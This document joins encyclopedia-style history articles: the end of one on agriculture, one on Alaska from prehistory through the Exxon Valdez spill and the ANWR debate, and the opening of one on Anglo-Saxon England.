          After 1492 the world's agricultural patterns were shuffled in the widespread exchange of plants and animals known as the Columbian Exchange. Crops and animals that were previously only known in the Old World were now transplanted to the New and vice versa. Perhaps most notably, the tomato became a favorite in European cuisine, and maize and potatoes were widely adopted. Other transplanted crops include pineapple, cocoa, and tobacco. In the other direction, several wheat strains quickly took to western hemisphere soils and became a dietary staple even for native North, Central and South Americans.


          Agriculture was a key element in the Atlantic slave trade, Triangular trade, and the expansion by European powers into the Americas. In the expanding Plantation economy, large plantations producing crops including sugar, cotton, and indigo, were heavily dependent upon slave labor.


          


          British Agricultural Revolution


          Between the 16th century and the mid-19th century, Great Britain saw a massive increase in agricultural productivity and net output. New agricultural practices like enclosure, mechanization, four-field crop rotation and selective breeding enabled an unprecedented population growth, freeing up a significant percentage of the workforce, and thereby helped drive the Industrial Revolution.


          By the early 1800s, agricultural practices, particularly careful selection of hardy strains and cultivars, had so improved that yield per land unit was many times that seen in the Middle Ages and before.


          The 18th and 19th century also saw the development of glasshouses, or greenhouses, initially for the protection and cultivation of exotic plants imported to Europe and North America from the tropics.


          Experiments on Plant Hybridization in the late 1800s yielded advances in the understanding of plant genetics, and subsequently, the development of hybrid crops.


          Increasing dependence upon monoculture crops lead to famines and food shortages, most notably the Irish Potato Famine (18451849).


          Storage silos and grain elevators appeared in the 19th centuries.


          


          Recent history


          


          New technologies
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          With the rapid rise of mechanization in the late 19th and 20th centuries, particularly in the form of the tractor, farming tasks could be done with a speed and on a scale previously impossible. These advances, joined to science-driven innovations in methods and resources, have led to efficiencies enabling certain modern farms in the United States, Argentina, Israel, Germany and a few other nations to output volumes of high quality produce per land unit at what may be the practical limit.


          The development of rail and highway networks and the increasing use of container shipping and refrigeration in developed nations have also been essential to the growth of mechanized agriculture, allowing for the economical long distance shipping of produce.


          While chemical fertilizer and pesticide have existed since the 19th century, their use grew significantly in the early twentieth century. In the 1960s, the Green Revolution applied western advances in fertilizer and pesticide use to farms worldwide, with varying success.


          Other applications of scientific research since 1950 in agriculture include gene manipulation, and Hydroponics.


          


          New criticisms


          Though the intensive farming practices pioneered and extended in recent history generally led to increased outputs, they have also led to the destruction of farmland, most notably in the dust bowl area of the United States following World War I.


          As global population increases, agriculture continues to replace natural ecosystems with monoculture crops.


          In the past few decades, western consumers have become increasingly aware of, and in some cases critical of, widely used intensive agriculture practices, contributing to a rise in popularity of organic farming, the growth of the Slow Food movement, and an ongoing discussion surrounding the potential for sustainable agriculture.


          


          Agricultural revolutions


          
            	Neolithic Revolution


            	Muslim Agricultural Revolution


            	British Agricultural Revolution


            	Green Revolution
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      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        History of Alaska


        
          

          
            [image: Alaska in 1895 (Rand McNally).]

            
              Alaska in 1895 ( Rand McNally).
            

          


          
            
              	[image: Flag of Alaska]
            


            
              	History of Alaska
            


            
              	Prehistory
            


            
              	Russian Alaska (1733-1867)
            


            
              	Department of Alaska (1867-1884)
            


            
              	District of Alaska (1884-1912)
            


            
              	Alaska Territory (1912-1959)
            


            
              	Recent history (1959-present)
            


            
              	Other topics
            


            
              	
            

          


          The history of Alaska dates back to the end of the Upper Paleolithic Period (around 12,000 BC), when Asiatic groups crossed the Bering Land Bridge into what is now western Alaska. At the time of European contact by the Russian explorers, the area was populated by Alaska Native groups. The name "Alaska" derives from the Aleut word alaxsxaq, (an Archaic spelling being alyeska), meaning "mainland" (literally, "the object toward which the action of the sea is directed").


          The first European contact with Alaska occurred in 1741, when Vitus Bering led an expedition for the Russian Navy aboard the St. Peter. After his crew returned to Russia bearing sea otter pelts judged to be the finest fur in the world, small associations of fur traders began to sail from the shores of Siberia towards the Aleutian islands. The first permanent European settlement was founded in 1784, and the Russian-America Company carried out expanded colonization program during the early to mid-1800s. Despite these efforts, the Russians never fully colonized Alaska, and the colony was never very profitable. William H. Seward, the U.S. Secretary of State, engineered the Alaskan purchase in 1867 for $7.2 million.


          In the 1890s, gold rushes in Alaska and the nearby Yukon Territory brought thousands of miners and settlers to Alaska. Alaska was granted territorial status in 1912.


          In 1942, three of the outer Aleutian IslandsAttu, Agattu and Kiskawere occupied by the Japanese and their recovery for the U. S. became a matter of national pride. The construction of military bases contributed to the population growth of some Alaskan cities.


          Alaska was granted statehood on January 3, 1959.


          In 1964, the massive " Good Friday Earthquake" killed 131 people and leveled several villages.


          The 1968 discovery of oil at Prudhoe Bay and the 1977 completion of the Trans-Alaska Pipeline led to an oil boom. In 1989, the Exxon Valdez hit a reef in the Prince William Sound, spilling between 11 and 35 million US gallons (42,000 and 130,000 m) of crude oil over 1,100miles (1,600km) of coastline. Today, the battle between philosophies of development and conservation is seen in the contentious debate over oil drilling in the Arctic National Wildlife Refuge.


          


          Prehistory
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          Paleolithic families moved into northwestern North America sometime between 16,000 and 10,000BC across the Bering Land Bridge in western Alaska. Alaska became populated by the Inuit and a variety of Native American groups. Today, early Alaskans are divided into several main groups: the Southeastern Coastal Indians (the Tlingit, Haida, and Tsimshian), the Athabascans, the Aleut, and the two groups of Eskimos, the Inupiat and the Yup'ik.


          The Coastal asians were probably the first wave of immigrants to cross the Bering Land Bridge in western Alaska, and many of them initially settled in interior Canada. The Tlingit were the most numerous of this group, claiming most of the coastal Panhandle by the time of European contact. The southern portion of Prince of Wales Island was settled by the Haidas emigrating from the Queen Charlotte Islands in Canada. The Aleuts settled the islands of the Aleutian chain approximately 10,000 years ago.


          Cultural and subsistence practices varied widely among Native groups, who were spread across vast geographical distances.


          [bookmark: 18th_century]


          18th century
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          European discovery


          The first European contact with Alaska came as a part of the 1733-1743 second Kamchatka expedition, after the St. Peter (captained by Dane Vitus Bering) and the St. Paul (captained by his deputy, Russian Alexei Chirikov) set sail from Russia in June 1741. On July 15, Chirikov sighted land, probably the west side of Prince of Wales Island in Southeast Alaska. He sent a group of men ashore in a long boat, making them the first Europeans to land on the northwestern coast of North America. Bering and his crew sighted Mt. St. Elias. Chirikov and Bering's crew returned to Russia in 1742, carrying word of the expedition. The sea otter pelts they brought, soon judged to be the finest fur in the world, would spark Russian settlement in Alaska.


          


          Early Russian settlement
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          After the second Kamchatka expedition, small associations of fur traders began to sail from the shores of Siberia towards the Aleutian islands. As the runs from Siberia to America became longer expeditions, the crews established hunting and trading posts. By the late 1790s, these had become permanent settlements.


          On some islands and parts of the Alaska Peninsula, groups of traders had been capable of relatively peaceful coexistence with the local inhabitants. Other groups could not manage the tensions and perpetrated exactions. Hostages were taken, individuals were enslaved, families were split up, and other individuals were forced to leave their villages and settle elsewhere. Over the years, the situation became catastrophic. Eighty percent of the Aleut population was destroyed by Old World diseases, against which they had no immunity, during the first two generations of Russian contact.


          Though the colony was never very profitable, most Russian traders were determined to keep the land. In 1784, Grigory Ivanovich Shelikhov arrived in Three Saints Bay on Kodiak Island. Shelikov established Russian dominance on the island by killing hundreds of indigenous Koniag, then founded the first permanent Russian settlement in Alaska on the island's Three Saints Bay.
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          In 1790, Shelikhov hired Alexandr Baranov to manage his Alaskan fur enterprise. Baranov moved the colony to what is now the city of Kodiak. In 1795, Baranov, concerned by the sight of non-Russian Europeans trading with the Natives in southeast Alaska, established Mikhailovsk near present-day Sitka. Though he bought the land from the Tlingits, Tlingits from a neighboring settlement later attacked and destroyed Mikhailovsk. After Baranov retaliated, razing the Tlingit village, he built the settlement of New Archangel. It became the capital of Russian America and today is the city of Sitka.


          


          Missionary activity


          The Russian Orthodox religion (with its rituals and sacred texts, translated into Aleut at a very early stage) had been informally introduced, in the 1740s-1780s, by the fur traders. During his settlement of Three Saints Bay in 1784, Shelikov introduced the first resident missionaries and clergymen. This missionary activity would continue into the 1800s, ultimately becoming the most visible trace of the Russian colonial period in contemporary Alaska.


          


          Spain's attempts at colonization
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          Spanish claims to Alaska dated to the papal bull of 1493, which allocated to the Spanish the right to colonize the west coast of North America. When rival countries, including Britain and Russia, began to show interest in Alaska in the late 18th century, King Charles III of Spain sent a number of expeditions to re-assert Spanish claims to the northern Pacific Coast of North America, including Alaska.


          In 1775, Bruno de Hezeta led an expedition designed to solidify Spanish claims to the northern Pacific. One of the expedition's two ships, the Seora, ultimately reached 59N latitude, entering Sitka Sound near the present-day town of Sitka, Alaska. There, the Spaniards performed numerous "acts of sovereignty," naming and claiming Puerto de Bucareli ( Bucareli Sound), Puerto de los Remedios, and Mount San Jacinto, renamed Mount Edgecumbe by British explorer James Cook three years later.


          In 1790, Spanish explorer Salvador Fidalgo led an expedition that included visits to the sites of today's Cordova, Alaska and Valdez, Alaska, where acts of sovereignty were performed. Fidalgo went as far as today's Kodiak Island, visiting the small Russian settlement there. Fidalgo then went to the Russian settlement at Alexandrovsk (today's English Bay or Nanwalek, Alaska), southwest of today's Anchorage on the Kenai Peninsula, where again, Fidalgo re-asserted the Spanish claim to the area by conducting a formal ceremony of sovereignty.


          In 1791, Alessandro Malaspina undertook an around-the-world scientific expedition, with orders to locate the Northwest Passage and search for gold, precious stones, and any American, British, or Russian settlements along the northwest coast. He surveyed the Alaska coast to the Prince William Sound. At Yakutat Bay, the expedition made contact with the Tlingit.


          In the end, the North Pacific rivalry proved to be too difficult for Spain, which withdrew from the contest and transferred its claims in the region to the United States in the Adams-Ons Treaty of 1819. Today, Spain's Alaskan legacy endures as little more than a few place names, among these the Malaspina Glacier and the town of Valdez.


          


          Britain's presence


          British settlements in Alaska consisted of a few scattered trading outposts, with most settlers arriving by sea. Captain James Cook, midway through his third and final voyage of exploration in 1778, sailed along the west coast of North America aboard the HMS Resolution, mapping the coast from the state of California all the way to the Bering Strait. During the trip, he discovered what came to be known as Cook Inlet (named in honour of Cook in 1794 by George Vancouver, who had served under his command) in Alaska. The Bering Strait proved to be impassable, although the Resolution and its companion ship HMS Discovery made several attempts to sail through it. The ships left the straits to return to Hawaii in 1779.


          Cook's expedition spurred the British to increase their sailings along the northwest coast, following in the wake of the Spanish. Three Alaska-based posts, funded by the Hudson's Bay Company, operated at Fort Yukon, on the Stikine River, and in Wrangell (the only Alaskan town to have been the subject of British, Russian, and American rule) throughout the early 1800s.
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          19th century


          


          Later Russian settlement and the Russian-American Company (1799-1867)
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          In 1799, Shelikhov's son-in-law, Nikolay Petrovich Rezanov, acquired a monopoly on the American fur trade from Czar Paul I and formed the Russian-American Company. As part of the deal, the Tsar expected the company to establish new settlements in Alaska and carry out an expanded colonization program.


          By 1804, Alexandr Baranov, now manager of the RussianAmerican Company, had consolidated the company's hold on the American fur trade following his victory over the local Tlingit clan at the Battle of Sitka. Despite these efforts, the Russians never fully colonized Alaska. The Russian monopoly on trade was also being weakened by the Hudson's Bay Company, which set up a post on the southern edge of Russian America in 1833.


          American hunters and trappers, who encroached on territory claimed by Russians, were also becoming a force. An 1812 settlement giving Americans the right to the fur trade only below 55N latitude was widely ignored, and the Russians' hold on Alaska weakened further.


          The Russian-American Company suffered because of 1821 amendments to its charter, and eventually it entered into an agreement with the Hudson's Bay Company that allowed the British to sail through Russian territory.


          At the height of Russian America, the Russian population reached 700.


          Although the mid1800s were not a good time for Russians in Alaska, conditions improved for the coastal Alaska Natives who had survived contact. The Tlingits were never conquered and continued to wage war on the Russians into the 1850s. The Aleuts, though faced with a decreasing population in the 1840s, ultimately rebounded.


          


          Alaska purchase
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          Financial difficulties in Russia, the desire to keep Alaska out of British hands, and the low profits of trade with Alaskan settlements all contributed to Russia's willingness to sell its possessions in North America. At the instigation of U.S. Secretary of State William Seward, the United States Senate approved the purchase of Alaska from Russia for $7,200,000. (approximately $90,750,000 in 2005 dollars, adjusted for inflation) on 9 April 1867. This purchase was popularly known in the U.S. as "Seward's Folly", or "Seward's Icebox", and was unpopular at the time, though the later discovery of gold and oil would show it to be a worthy one.


          After Russian America was sold to the U.S., all the holdings of the RussianAmerican Company were liquidated.


          


          The Department of Alaska (1867-1884)


          The United States flag was raised on 18 October 1867 (now called Alaska Day). Coincident with the ownership change, the de facto International Date Line was moved westward, and Alaska changed from the Julian calendar to the Gregorian calendar. Therefore, for residents, Friday, October 6, 1867 was followed by Friday, October 18, 1867two Fridays in a row because of the date line shift.


          During the Department era, from 1867 to 1884, Alaska was variously under the jurisdiction of the U.S. Army (until 1877), the United States Department of the Treasury (from 1877 until 1879) and the U.S. Navy (from 1879 until 1884).


          When Alaska was first purchased, most of its land remained unexplored. In 1865, Western Union laid a telegraph line across Alaska to the Bering Strait where it would connect, under water, with an Asian line. It also conducted the first scientific studies of the region and produced the first map of the entire Yukon River. The Alaska Commercial Company and the military also contributed to the growing exploration of Alaska in the last decades of the 1800s, building trading posts along the Interior's many rivers.


          


          District of Alaska (1884-1912)
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          In 1884, the region was organized and the name was changed from the Department of Alaska to the District of Alaska. At the time, legislators in Washington, D.C., were occupied with post-Civil War reconstruction issues, and had little time to dedicate to Alaska. In 1896, the discovery of gold in Yukon Territory in neighboring Canada, brought many thousands of miners and new settlers to Alaska, and very quickly ended the nation's four year economic depression. Although it was uncertain whether gold would also be found in Alaska, Alaska greatly profited because it was along the easiest transportation route to the Yukon goldfields. Numerous new cities, such as Skagway, Alaska, owe their existence to a gold rush in Canada. No history of Alaska would be complete without mention of Soapy Smith, the crime boss confidence man who operated the largest criminal empire in gold rush era Alaska, until he was shot down by vigilantes. Today, he is known as "Alaska's Outlaw."


          In 1899, gold was found in Alaska itself in Nome, and several towns subsequently began to be built, such as Fairbanks and Ruby. In 1902, the Alaska Railroad began to be built, which would connect from Seward to Fairbanks by 1914, though Alaska still does not have a railroad connecting it to the lower 48 states today. Still, an overland route was built, cutting transportation times to the contiguous states by days. The industries of copper mining, fishing, and canning began to become popular in the early 1900s, with 10 canneries in some major towns.


          In 1903, a boundary dispute with Canada was finally resolved.


          By the turn of the 20th century, commercial fishing was gaining a foothold in the Aleutian Islands. Packing houses salted cod and herring, and salmon canneries were opened. Another traditional occupation, whaling, continued with no regard for over-hunting. They pushed the bowhead whales to the edge of extinction for the oil in their tissue. The Aleuts soon suffered severe problems due to the depletion of the fur seals and sea otters which they needed for survival. As well as requiring the flesh for food, they also used the skins to cover their boats, without which they could not hunt. The Americans also expanded into the Interior and Arctic Alaska, exploiting the furbearers, fish, and other game on which Natives depended.


          [bookmark: 20th_century]


          20th century


          


          Alaska Territory (1912-1959)


          When Congress passed the Second Organic Act in 1912, Alaska was reorganized, and renamed the Territory of Alaska. By 1916, its population was about 58,000. James Wickersham, a Delegate to Congress, introduced Alaska's first statehood bill, but it failed due to the small population and lack of interest from Alaskans. Even President Warren G. Harding's visit in 1923 could not create widespread interest in statehood. Under the conditions of the Second Organic Act, Alaska had been split into four divisions. The most populous of the divisions, whose capital was Juneau, wondered if it could become a separate state from the other three. Government control was a primary concern, with the territory having 52 federal agencies governing it.


          Then, in 1920, the Jones Act required U.S.-flagged vessels to be built in the United States, owned by U.S. citizens, and documented under the laws of the United States. All goods entering or leaving Alaska had to be transported by American carriers and shipped to Seattle prior to further shipment, making Alaska dependent on Washington. The U.S. Supreme Court ruled that the provision of the Constitution saying one state should not hold sway over another's commerce did not apply because Alaska was only a territory. The prices Seattle shipping businesses charged began to rise to take advantage of the situation. This situation created an atmosphere of enmity among Alaskans who watched the wealth being generated by their labors flowing into the hands of Seattle business holdings.


          The Depression caused prices of fish and copper, which were vital to Alaska's economy at the time, to decline. Wages were dropped and the workforce decreased by more than half. In 1935, President Franklin D. Roosevelt thought Americans from agricultural areas could be transferred to Alaska's Matanuska-Susitna Valley for a fresh chance at agricultural self-sustainment. Colonists were largely from northern states, such as Michigan, Wisconsin, and Minnesota under the belief that only those who grew up with climates similar to that of Alaska's could handle settler life there. The United Congo Improvement Association asked the president to settle 400 African-American farmers in Alaska, saying that the territory would offer full political rights, but racial prejudice and the belief that only those from northern states would make suitable colonists caused the proposal to fail.


          The exploration and settlement of Alaska would not have been possible without the development of the aircraft, which allowed for the influx of settlers into the state's interior, and rapid transportation of people and supplies throughout. However, due to the unfavorable weather conditions of the state, and high ratio of pilots-to-population, over 1700 aircraft wreck sites are scattered throughout its domain. Numerous wrecks also trace their origins to the military build-up of the state during both World War II and the Cold War.


          
            	See also History of aviation in Alaska

          


          


          World War II
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          During World War II, three of the outer Aleutian IslandsAttu, Agattu and Kiskawere invaded and occupied by Japanese troops. They were the only part of the continental territory of the United States to be occupied by the enemy during the war. Their recovery became a matter of national pride.


          On June 3, 1942, the Japanese launched an air attack on Dutch Harbour, a U.S. naval base on Unalaska Island, but were repelled by U.S. forces. A few days later, the Japanese landed on the islands of Kiska and Attu, where they overwhelmed Attu villagers. The villagers were taken to Japan, where they were interned for the remainder of the war. Aleuts from the Pribilofs and Aleutian villages were evacuated by the United States to Southeast Alaska.


          Attu was regained in May 1943 after two weeks of intense fighting and 3,929 American casualties. The U.S. then turned its attention to the other occupied island, Kiska. From June through August, tons of bombs were dropped on the tiny island, though the Japanese ultimately escaped via transport ships. After the war, the Native Attuans who had survived their internment were resettled to Atka by the federal government, which considered their home villages too remote to defend.


          In 1942, during World War II the AlaskaCanada Military Highway was completed, in part to form an overland supply route to America's Russian allies on the other side of the Bering Strait. Running from Great Falls, Montana, to Fairbanks, the road was the first stable link between Alaska and the rest of America. The construction of military bases, such as the Adak base, contributed to the population growth of some Alaskan cities. Anchorage almost doubled in size, from 4,200 people in 1940 to 8,000 in 1945.


          


          Statehood
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          By the turn of the 20th century, a movement pushing for Alaska statehood began, but in the contiguous 48 states, legislators were worried that Alaska's population was too sparse, distant, and isolated, and its economy was too unstable for it to be a worthwhile addition to the United States. World War II and the Japanese invasion highlighted Alaska's strategic importance, and the issue of statehood was taken more seriously, but it was the discovery of oil at Swanson River on the Kenai Peninsula that dispelled the image of Alaska as a weak, dependent region. President Dwight D. Eisenhower signed the Alaska Statehood Act into United States law on 7 July 1958, which paved the way for Alaska's admission into the Union on January 3, 1959. Juneau, the territorial capital, continued as state capital, and William A. Egan was sworn in as the first governor.


          Alaska has no counties, as do other states in the United States. Instead, it is divided into 16 boroughs and one " unorganized borough" made up of all land not within any borough. Boroughs have organized area-wide governments, but within the unorganized borough, where there is no such government, services are provided by the state. The unorganized borough is divided into artificially-created census areas by the United States Census Bureau for statistical purposes only.


          


          The "Good Friday Earthquake"
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          On March 27, 1964 the " Good Friday Earthquake" struck South-central Alaska, churning the earth for four minutes with a magnitude of 9.2. The earthquake was one of the most powerful ever recorded and killed 131 people. Most of them were drowned by the tsunamis that tore apart the towns of Valdez and Chenega. Throughout the Prince William Sound region, towns and ports were destroyed and land was uplifted or shoved downward. The uplift destroyed salmon streams, as the fish could no longer jump the various newly created barriers to reach their spawning grounds. Ports at Valdez and Cordova were beyond repair, and the fires destroyed what the mudslides had not. At Valdez, an Alaska Steamship Company ship was lifted by a huge wave over the docks and out to sea, but most hands survived. At Turnagain Arm, off Cook Inlet, the incoming water destroyed trees and caused cabins to sink into the mud. On Kodiak, a tidal wave wiped out the villages of Afognak, Old Harbour, and Kaguyak and damaged other communities, while Seward lost its harbour. Despite the extent of the catastrophe, Alaskans rebuilt many of the communities.


          [bookmark: 1968_to_present:_oil_and_land_politics]


          1968 to present: oil and land politics


          


          Oil discovery, ANSCA, and the Trans-Alaska Pipeline


          The 1968 discovery of oil on the North Slope's Prudhoe Bay--which would turn out to have the most recoverable oil of any field in the United States-- would change Alaska's political landscape for decades.


          This discovery catapulted the issue of Native land ownership into the headlines. In the mid-1960s, Alaska Natives from many tribal groups had united in an effort to gain title to lands wrested from them by Europeans, but the government had responded slowly before the Prudhoe Bay discovery. The government finally took action when permitting for a pipeline crossing the state, necessary to get Alaskan oil to market, was stalled pending the settlement of Native land claims.


          In 1971, with major petroleum dollars on the line, the Alaska Native Claims Settlement Act was signed into law by Richard Nixon. Under the Act, Natives relinquished aboriginal claims to their lands in exchange for access to 44 million acres (180,000 km) of land and payment of $963 million. The settlement was divided among regional, urban, and village corporations, which managed their funds with varying degrees of success.
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          Though a pipeline from the North Slope to the nearest ice-free port, almost 800 miles (1,300 km) to the south, was the only way to get Alaska's oil to market, significant engineering challenges lay ahead. Between the North Slope and Valdez, there were active fault lines, three mountain ranges, miles of unstable, boggy ground underlain with frost, and migration paths of caribou and moose. The Trans-Alaska Pipeline was ultimately completed in 1977 at a total cost of $8 billion.


          The pipeline allowed an oil bonanza to take shape. Per capita incomes rose throughout the state, with virtually every community benefiting. State leaders were determined that this boom would not end like the fur and gold booms, in an economic bust as soon as the resource had disappeared. In 1976, the state's constitution was amended to establish the Alaska Permanent Fund, in which a quarter of all mineral lease proceeds is invested. Income from the fund is used to pay annual dividends to all residents who qualify, to increase the fund's principal as a hedge against inflation, and to provide funds for the state legislature. Since 1993, the fund has produced more money than the Prudhoe Bay oil fields, whose production is diminishing. In March 2005, the fund's value was over $30 billion.


          


          Environmentalism, the Exxon-Valdez, and ANWR


          Oil production was not the only economic value of Alaska's land, however. In the second half of the 20th century, Alaska discovered tourism as an important source of revenue. Tourism became popular after World War II, when men stationed in the region returned home praising its natural splendor. The Alcan Highway, built during the war, and the Alaska Marine Highway System, completed in 1963, made the state more accessible than before. Tourism became increasingly important in Alaska, and today over 1.4 million people visit the state each year.


          With tourism more vital to the economy, environmentalism also rose in importance. The Alaska National Interest Lands Conservation Act (ANILCA) of 1980 added 53.7 million acres (217,000 km) to the National Wildlife Refuge system, parts of 25 rivers to the National Wild and Scenic Rivers system, 3.3 million acres (13,000 km) to National Forest lands, and 43.6 million acres (176,000 km) to National Park land. Because of the Act, Alaska now contains two-thirds of all American national parklands. Today, more than half of Alaskan land is owned by the Federal Government.
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          The possible environmental repercussions of oil production became clear in the Exxon Valdez oil spill of 1989. On March 24, the tanker Exxon Valdez ran aground in Prince William Sound, releasing 11 million gallons of crude oil into the water, spreading along 1,100miles (1,800km) of shoreline. According to the U.S. Fish and Wildlife Service, at least 300,000 sea birds, 2,000 otters, and other marine animals died because of the spill. Exxon spent US$2 billion on cleaning up in the first year alone. Exxon, working with state and federal agencies, continued its cleanup into the early 1990s. Government studies show that the oil and the cleaning process itself did long-term harm to the ecology of the Sound, interfering with the reproduction of birds and animals in ways that still aren't fully understood. Prince William Sound seems to have recuperated, but scientists still dispute the extent of the recovery. In a civil settlement, Exxon agreed to pay $900 million in ten annual payments, plus an additional $100 million for newly discovered damages. In a class action suit against Exxon, a jury awarded punitive damages of US$5 billion, but as of 2007 no money has been disbursed and appellate litigation continues.


          Today, the tension between preservation and development is seen in the Arctic National Wildlife Refuge (ANWR) drilling controversy. The question of whether to allow drilling for oil in ANWR has been a political football for every sitting American president since Jimmy Carter. Studies performed by the US Geological Survey have shown that the " 1002 area" of ANWR, located just east of Prudhoe Bay, contains large deposits of crude oil. Traditionally, Alaskan residents, trade unions, and business interests have supported drilling in the refuge, while environmental groups and many within the Democratic Party have traditionally opposed it. Among native Alaskan tribes, support is mixed. In the 1990s and 2000s, votes about the status of the refuge occurred repeatedly in the U.S. House and Senate, but as of 2007 efforts to allow drilling have always been ultimately thwarted by filibusters, amendments, or vetoes.


          


          Notable historical figures


          
            	Clarence L. Andrews customs official and an information officer, recognized authority on the history and culture of the Alaskan territory in early 1900's, photographer, author


            	Alexandr Baranov (1746-1819) trader, public official, Russia


            	Edward Lewis "Bob" Bartlett (19041968) was the territorial delegate to the US Congress from 1944 to 1958, and was elected as the first senior U.S. Senator in 1958 and re-elected to a full 6-year term in 1960 and again in 1966. There are streets, buildings, a high school and even the first state ferry, named for him.


            	Benny Benson, designed state flag at age 13, Chignik


            	Vitus Bering (1681-1741) explorer


            	Charles E. Bunnell educator


            	Jimmy Doolittle (1896-1993) (James Harold "Jimmy" Doolittle) served with great distinction as a general in the United States Army Air Forces during the Second World War, earning the Medal of Honour as the commander of the Doolittle Raid.


            	Wyatt Earp (1848-1929) lived in Alaska from 1897 to 1901; he built the Dexter Saloon in Nome, Alaska with C.E. Hoxsie.


            	William A. Egan (1914-1984) served two years as an "Alaska-Tennessee Plan" Senator in Washington D.C. prior to becoming the first Governor of Alaska, and remains the only Alaskan Governor to serve three terms.


            	Carl Ben Eielson pioneer pilot


            	Vic Fischer emeritus professor and one of two remaining signers of the Alaska Constitution


            	Henry Ernest Gruening (18861974) was appointed Governor of the Territory of Alaska in 1939, and served in that position for fourteen years. He was elected to the United States Senate in 1958 and re-elected in 1962 and served until 1969. One of two Senators who voted against Tonkin Gulf Resolution at beginning of the heaviest period of the Vietnam War.


            	Jay Hammond (19222005) was Governor during the building of the Alaska Pipeline and established the Alaska Permanent Fund, providing Alaskans with essentially free money. He is regarded as somewhat of a hero because of this. He was also governor during passage of the Alaska National Interest Lands Conservation Act and effectively served to moderate associated issues within the state among disparate interest groups ranging from conservationists to natives to pro-development interests.


            	B. Frank Heintzleman territorial governor


            	Saint Herman of Alaska (1756-1837) Russian missionary, first Eastern Orthodox saint in North America.


            	Walter Hickel former governor


            	Sheldon Jackson (1834-1909) an American missionary and educator, the first federal superintendent of public instruction for Alaska, and bearer of the first reindeer to Alaska from Siberia. The Sheldon Jackson Museum and College are located in Sitka.


            	Joseph Juneau (18361899) and Richard Harris (1833-1907), prospectors and founders of what is now Alaska's capital city, Juneau.


            	Austin Eugene "Cap" Lathrop industrialist


            	Ray Mala (1906-1952) is the first Native American movie star and the only film star the state of Alaska has yet to produce. He starred in MGM's Oscar-winning classic Eskimo/Mala the Magnificent filmed entirely on location in Alaska. His son Dr. Ted Mala became the first Alaska native male to become a Doctor. Dr. Mala served on Governor Walter J. Hickel's cabinet (1990) as Commissioner of Health and Social Services.


            	Eva McGown (1883-1972), Fairbanks hostess and chorister


            	John Muir (1838-1914), naturalist, explorer, and conservationist who detailed his amazing journeys in Alaska Territory and was instrumental, through his friendship with President Theodore Roosevelt, in protecting substantial area of forest wilderness and wildlife preserves in Alaska.


            	William Oefelein (b. 1965) Alaska's first astronaut. His first mission, STS-116. Commander Oefelein received his commission as an Ensign in the United States Navy from Aviation Officer Candidate School in Pensacola, Florida in 1988.


            	Sarah Palin (b. 1964) Alaska's youngest Governor and first female Governor


            	Elizabeth Peratrovich (1911-1958) a Native ( Tlingit) Alaskan who fought for equality of Native Alaskans and is honored with "Elizabeth Peratrovich Day."


            	George Sharrock (19102005) moved to the territory before statehood, eventually elected as the mayor of Anchorage and served during the Good Friday Earthquake in March 1964. This was the most devastating earthquake to hit Alaska and it sunk beach property, damaged roads and destroyed buildings all over the south central area. Sharrock, sometimes called the "earthquake mayor," led the city's rebuilding effort over six months.


            	Soapy Smith, Jefferson Randolph Smith, "Alaska's Outlaw." The infamous confidence man and early settler, who ran the goldrush town of Skagway, Alaska, 1897-98.


            	Fran Ulmer was the first woman elected to statewide officeshe became Lieutenant Governor in 1994.


            	Saint Innocent of Alaska (1797-1879) First Russian Orthodox bishop in North America


            	Joe Vogler (1913-1993) founder of the Alaskan Independence Party


            	Noel Wien (1899-1977) aviation pioneer, founder of Wien Air Alaska, first to make a round trip between Alaska and Asia.


            	Ferdinand von Wrangell (1797-1870) explorer, president of the Russian-American Company in 1840-1849.
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        History of Anglo-Saxon England


        
          

          The History of Anglo-Saxon England covers the history of early medieval England from the end of Roman Britain and the establishment of Anglo-Saxon kingdoms in the 5th century until the Conquest by the Normans in 1066. The 5th and 6th centuries are known archaeologically as Sub-Roman Britain, or in popular history as the "Dark Ages"; from the 6th century larger distinctive kingdoms are developing, still known to some as the Heptarchy; the arrival of the Vikings at the end of the 8th century brought many changes to Britain, and relations with the continent were important right up to the 'end' of Anglo-Saxon England, traditionally held to be the Norman Conquest.
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          Migration and Formation of Kingdoms (400-600)
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          It is very difficult to establish a coherent chronology of events from Rome's departure from Britain, to the establishment of Anglo-Saxon kingdoms. The story of the Roman departure as told by Geoffrey of Monmouth in his Historia Regum Britanniae is dubious except as documenting Medieval legend.


          The archaeological records of the final decades of Roman rule show undeniable signs of decay, in stagnant urban and villa life. Coins minted past 402 are rare. So when Constantine III was declared Emperor by his troops in 407, and crossed the channel with the remaining units of the British garrison, effectively Roman Britain ended. Britain was left defenceless, and Constantine was eventually killed in battle. In 410, Emperor Honorius told the Romano-British to look to their own defence, yet in the mid 5th century the Romano-British still felt they could appeal to the consul Aetius for help against invaders.


          Various myths and legends surround the arrival of the Anglo-Saxons, some based on documentary evidence, some far less so. Four main literary sources provide the evidence. Gildas' 'The Ruin of Britain' (c. 540) is polemical, and more concerned with criticising British kings than accurately describing events. Bede's 'Ecclesiastical History of the English People' is based in part on Gildas, though brings in other evidence. However, this was written in the early 8th century, some time after events. Later still is the Anglo-Saxon Chronicle, which is in part based on Bede, but also brings in legends regarding the foundation of Wessex.


          Other evidence can be brought in to aid the literary sources. It is interesting to note that the Anglo-Saxon kingdoms of Kent, Bernicia, Deira and Lindsey all retained Celtic names, which would suggest political continuity. Contrastingly, the more westerly kingdoms of Wessex and Mercia show little sign of following existing boundaries. Archaeologically, following burial patterns and land usage allows us to follow Anglo-Saxon settlement, though it is possible that the British were adopting Anglo-Saxon practice. Analysis of human remains unearthed at an ancient cemetery near Abingdon, England, indicates that Saxon immigrants and native Britons lived side by side. There is much academic debate as to whether the Anglo-Saxon migrants replaced, or merged with, the Romano-British people who inhabited southern and eastern Britain.


          Already from the 4th century AD, Britons had migrated across the English Channel and started to settle in the western part ( Armorica) of Gaul (France), forming Brittany. Others may have migrated to northern Spain. The migration of the British to the continent and the Anglo-Saxons to Britain, should be considered in the context of wider European migrations. However, some doubt, based on limited genetic work, has been cast on the extent of Anglo-Saxon migration to Britain.


          Though one cannot be sure of dates, places or people involved, it does seem that in 495, at the Battle of Mount Badon (possibly Badbury rings, Latin Mons Badonicus, Welsh Mynydd Baddon), the Britons inflicted a severe defeat on the Anglo-Saxons. Archaeological evidence, coupled with the questionable source Gildas, would suggest that the Anglo-Saxon migration was stemmed for a while.


          


          Heptarchy and Christianisation (600-800)
